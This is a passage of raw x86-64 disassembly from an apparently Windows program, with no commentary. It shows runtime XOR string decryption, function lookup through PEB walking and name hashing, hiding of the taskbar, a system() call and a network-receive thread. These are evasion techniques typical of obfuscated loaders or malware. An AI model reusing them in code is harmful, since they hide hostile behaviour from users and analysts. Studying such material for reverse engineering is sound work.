jmp 0x140007a0c
movabs r15, 0x7fffffffffffffff
cmp byte [rsp + 0x40], 0
je 0x140007cad
mov rdx, qword [rsp + 0x1f8]
inc rdx
mov rax, r14
cmp rdx, 0x1000
jb 0x140007a54
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007a54
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.1400797bc
jmp 0x140007cad
movsd xmm0, qword [0x14008d9e8]
movsd qword [rsp + 0x48], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x48], 0xa
xor byte [rsp + 0x49], 0x35
xor byte [rsp + 0x4a], 0x36
xor byte [rsp + 0x4b], 0x37
xor byte [rsp + 0x4c], 0x38
xor byte [rsp + 0x4d], 0x39
xor byte [rsp + 0x4e], 0x3a
xor byte [rsp + 0x4f], 0x3b
xor al, 0x3c
mov byte [rsp + 0x50], al
call fcn.14000df10
mov edx, ntohl
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.uYDRY_CeiSRV.jE]
movups xmmword [rsp + 0x1c0], xmm0
movzx eax, word [0x14008dc40]
mov word [rsp + 0x1d0], ax
cmp byte [0x14008dc41], 0
je 0x140007c7e
mov ecx, ebx
cmp r13d, 2
jl 0x140007c39
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x1c0]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140007b11
cmp ecx, 0x12
jge 0x140007c7e
movsxd rax, ecx
lea r8, [rsp + 0x1c0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x12
jl 0x140007c50
lea rdx, [rsp + 0x1c0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
lea rdx, [0x14000e2a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, [0x1400a58e0]
call fcn.140004750
lea rcx, [0x14008d5dc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 2
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, reloc.WS2_32.dll_recv
call fcn.140079460
mov dword [rax], r12d
lea rcx, [0x140005290]
mov qword [rax + 8], rcx
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0x1a8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140010600]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x1a0], rax
test rax, rax
je 0x14000914c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x280], rax
mov eax, dword [0x14008d9f4]
mov dword [rsp + 0x68], eax
movzx ecx, word [0x14008d9f8]
mov word [rsp + 0x6c], cx
movzx eax, byte [0x14008d9fa]
mov byte [rsp + 0x68], 0x33
xor byte [rsp + 0x69], 0x35
xor byte [rsp + 0x6a], 0x36
xor byte [rsp + 0x6b], 0x37
xor cl, 0x38
mov byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], 0x39
xor al, 0x3a
mov byte [rsp + 0x6e], al
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], rbx
lea rax, [rsp + 0x68]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140007db4
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0xe0]
call fcn.14000ecf0
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0x4d0]
call fcn.14001f9a0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x3c0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x14008d9d0]
movups xmmword [rsp + 0x1c0], xmm0
mov eax, dword [0x14008d9e0]
mov dword [rsp + 0x1d0], eax
movzx eax, word [0x14008d9e4]
mov word [rsp + 0x1d4], ax
movzx eax, byte [0x14008d9e6]
mov byte [rsp + 0x1d6], al
mov r8d, ebx
cmp r13d, 2
jl 0x140007f9d
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x1c0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140007e70
cmp r8d, 0x17
jge 0x140007fe3
movsxd rax, r8d
lea r9, [rsp + 0x1c0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140007fb0
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x3c0]
call fcn.14000bff0
nop
mov r8, qword [rsp + 0x278]
mov rdx, qword [rsp + 0x270]
sub r8, rdx
lea rcx, [rsp + 0x3c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x3c8]
call fcn.14000d510
test rax, rax
jne 0x140008050
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x3c0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movups xmm0, xmmword [str.au]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [0x14008d990]
movups xmmword [rsp + 0xf0], xmm1
movsd xmm0, qword [0x14008d9a0]
movsd qword [rsp + 0x100], xmm0
movzx eax, word [0x14008d9a8]
mov word [rsp + 0x108], ax
mov r8d, ebx
cmp r13d, 2
jl 0x1400081ed
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xe0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400080c0
cmp r8d, 0x2a
jge 0x140008233
movsxd rax, r8d
lea r9, [rsp + 0xe0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140008200
xorps xmm0, xmm0
movups xmmword [rsp + 0x220], xmm0
mov qword [rsp + 0x230], rbx
mov qword [rsp + 0x238], rbx
lea rax, [rsp + 0xe0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140008260
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x220]
call fcn.14000ecf0
nop
movups xmm0, xmmword [str.gawel]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [0x14008da38]
movups xmmword [rsp + 0xf0], xmm1
mov eax, dword [0x14008da48]
mov dword [rsp + 0x100], eax
movzx eax, byte [0x14008da4c]
mov byte [rsp + 0x104], al
mov r8d, ebx
cmp r13d, 2
jl 0x140008412
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xe0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400082e5
cmp r8d, 0x25
jge 0x140008453
movsxd rax, r8d
lea r9, [rsp + 0xe0]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140008420
xorps xmm0, xmm0
movups xmmword [rsp + 0x1e0], xmm0
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], rbx
lea rax, [rsp + 0xe0]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140008476
mov r8, rsi
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x1e0]
call fcn.14000ecf0
nop
mov rcx, qword [rsp + 0x1f0]
sub r15, rcx
mov rdx, qword [rsp + 0x230]
cmp r15, rdx
jb 0x14000bbda
lea r9, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 0x10
cmovae r9, qword [rsp + 0x1e0]
lea rax, [rsp + 0x220]
cmp qword [rsp + 0x238], 0x10
cmovae rax, qword [rsp + 0x220]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x2c0]
call fcn.14000fcc0
nop
xor edx, edx
lea rcx, str.Shell_traywnd
call qword [sym.imp.USER32.dll_FindWindowA]
mov r15, rax
xor r9d, r9d
lea r8, str.Shell_SecondaryTrayWnd
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
mov qword [rsp + 0x68], rax
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
lea rsi, [rsp + 0x2c0]
cmp qword [rsp + 0x2d8], 0x10
cmovae rsi, qword [rsp + 0x2c0]
mov rcx, qword gs:[0x60]
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400085fa
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400085fa
mov ecx, dword [r11 + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [rcx + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x92d63dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400085f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400085d0
cmp r8d, 0xc00aaa9c
je 0x1400085ff
test r10d, r10d
mov ecx, dword [r11 + 0x20]
jne 0x1400085b0
mov rax, qword [rax]
jmp 0x140008580
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx r8d, word [rdx + r10*2]
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [rdx + r8*4]
add rax, r9
mov rcx, rsi
call rax
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x14008dbb0]
mov qword [rsp + 0x188], rax
cmp byte [0x14008dbb7], 0
je 0x1400087a3
cmp r13d, 2
jl 0x140008764
movdqa xmm4, xmmword [0x140096a90]
movd xmm6, r12d
movd xmm5, edi
movdqa xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x188]
xorps xmm2, xmm1
movd dword [rsp + 0x188], xmm2
movdqa xmm3, xmmword [0x140096a50]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x18c]
xorps xmm2, xmm1
movd dword [rsp + 0x18c], xmm2
jmp 0x1400087a3
lea r9, [rsp + 0x188]
mov r8d, ebx
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140008770
lea rcx, [rsp + 0x188]
call fcn.140005170
test al, al
je 0x140008d9a
call fcn.140004ae0
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x2b0]
call fcn.14000bc50
mov rcx, rax
cmp byte [rax + 7], 0
je 0x140008935
cmp r13d, 2
jl 0x1400088eb
movdqa xmm4, xmmword [0x140096a90]
movd xmm5, r12d
movd xmm6, edi
movdqa xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
movdqa xmm3, xmmword [0x140096a50]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
jmp 0x140008935
mov r10, rcx
mov r9d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
movzx eax, r9b
sub al, r8b
add al, 0x34
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x140008900
mov rdx, rcx
mov rcx, r11
call fcn.14000df10
call fcn.140004b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x150]
call fcn.14000bc60
movzx edx, byte [rax + 8]
test dl, dl
je 0x140008986
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor dl, 0x3c
mov byte [rax + 8], dl
mov rdx, rax
call fcn.14000df10
lea rdx, [rsp + 0x160]
call fcn.14000bc80
mov r8, rax
cmp byte [rax + 0xb], 0
je 0x140008b03
mov r10d, ebx
cmp r13d, 2
jl 0x140008ac0
movdqa xmm4, xmmword [0x140096a90]
movd xmm5, r12d
movd xmm6, edi
movdqa xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r8]
xorps xmm2, xmm0
movd dword [r8], xmm2
movdqa xmm3, xmmword [0x140096a50]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r8 + 4]
xorps xmm2, xmm0
movd dword [r8 + 4], xmm2
mov r10d, 8
movsxd r9, r10d
add r9, r8
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r10d
add edx, r10d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r10b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r10d
lea r9, [r9 + 1]
cmp r10d, 0xc
jl 0x140008ad0
mov rdx, r8
lea rcx, [rsp + 0xe0]
call fcn.14000d1b0
mov rdx, rax
lea rcx, [rsp + 0x4d0]
call fcn.140025900
mov edx, r12d
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, r12d
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rsp + 0xb0]
call fcn.14000bca0
mov r10, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov esi, dword [rdx + r9 + 0x88]
add rsi, r9
cmp rsi, r9
je 0x140008bd6
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x140008bd6
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r11d
lea rax, [r9 + r11*4]
mov edx, dword [rax + r15]
add rdx, r9
mov r8d, 0x6457a422
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140008bd1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140008bb0
cmp r8d, 0xbb51a38b
je 0x140008bdb
test r11d, r11d
jne 0x140008b90
mov rcx, qword [rcx]
jmp 0x140008b60
mov ecx, dword [rsi + 0x24]
add rcx, r9
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov r11d, dword [rcx + rdx*4]
add r11, r9
cmp byte [r10 + 0x1c], 0
je 0x140008d80
cmp r13d, 2
jl 0x140008d4c
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r10
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
